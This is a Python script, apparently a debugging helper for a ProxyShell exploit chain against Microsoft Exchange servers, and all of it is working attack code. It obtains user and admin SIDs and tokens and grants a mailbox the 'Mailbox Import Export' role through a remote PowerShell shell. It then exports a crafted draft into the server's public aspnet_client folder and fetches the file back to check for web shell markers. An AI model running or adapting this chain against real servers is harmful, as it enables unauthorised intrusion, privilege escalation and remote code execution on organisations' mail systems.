#!/usr/bin/env python3
# Export to .txt (static, raw) to inspect actual PST/payload bytes
import sys, time, random
sys.path.insert(0, '.')
import ps_driver as P
import requests
requests.packages.urllib3.disable_warnings()

host = sys.argv[1]
ps = P.ProxyShell(f'https://{host}', timeout=35)
print("fqdn", ps.get_fqdn(), "mb", ps.get_legacydn(), ps.email, flush=True)
ps.get_sid()
print("user", ps.sid, "admin", ps.admin_sid, flush=True)
ps.sid = ps.sid  # EWS user SID
print("ews", ps.set_ews(), flush=True)
ps.sid = ps.admin_sid
ps.get_token()
port = random.randint(20000, 40000)
P.start_server(ps, port)
time.sleep(1)
try:
    P.wsman_shell('New-ManagementRoleAssignment -Role "Mailbox Import Export" -User "%s"' % ps.email.split('@')[0], port)
except Exception as e:
    print("roleassign", e, flush=True)
time.sleep(2)
name = "diag%s.txt" % P.rand_string(4)
unc = "\\\\127.0.0.1\\c$\\inetpub\\wwwroot\\aspnet_client\\" + name
cmd = ('New-MailboxExportRequest -Mailbox %s -IncludeFolders ("#Drafts#") '
       '-ContentFilter "(Subject -eq \'%s\')" -ExcludeDumpster -FilePath "%s"') % (ps.email, P.subj_, unc)
print("subject:", P.subj_, flush=True)
print("export txt:", flush=True)
try:
    o, e = P.wsman_shell(cmd, port)
    for x in o: print("   ", str(x)[:160], flush=True)
except Exception as ex:
    print("   exc", type(ex).__name__, str(ex)[:200], flush=True)
fu = f"https://{host}/aspnet_client/{name}"
for i in range(8):
    try:
        r = requests.get(fu, verify=False, timeout=25)
        b = r.content
        print(f"GET[{i}] {r.status_code} size={len(b)} head={b[:48]!r}", flush=True)
        if r.status_code == 200 and b:
            open("diag.bin", "wb").write(b)
            print("  has_!BDN:", b.find(b'!BDN'), " has_<script:", b.find(b'<script'),
                  " has_runat:", b.find(b'runat'), " has_JScript:", b.find(b'JScript'),
                  " has_Page_Load:", b.find(b'Page_Load'), flush=True)
            # also print any printable chunk around <script
            idx = b.find(b'<script')
            if idx >= 0:
                print("  ctx:", b[max(0, idx-20):idx+160], flush=True)
            break
    except Exception as ex:
        print("GET[%d] exc %s" % (i, ex), flush=True)
    time.sleep(6)
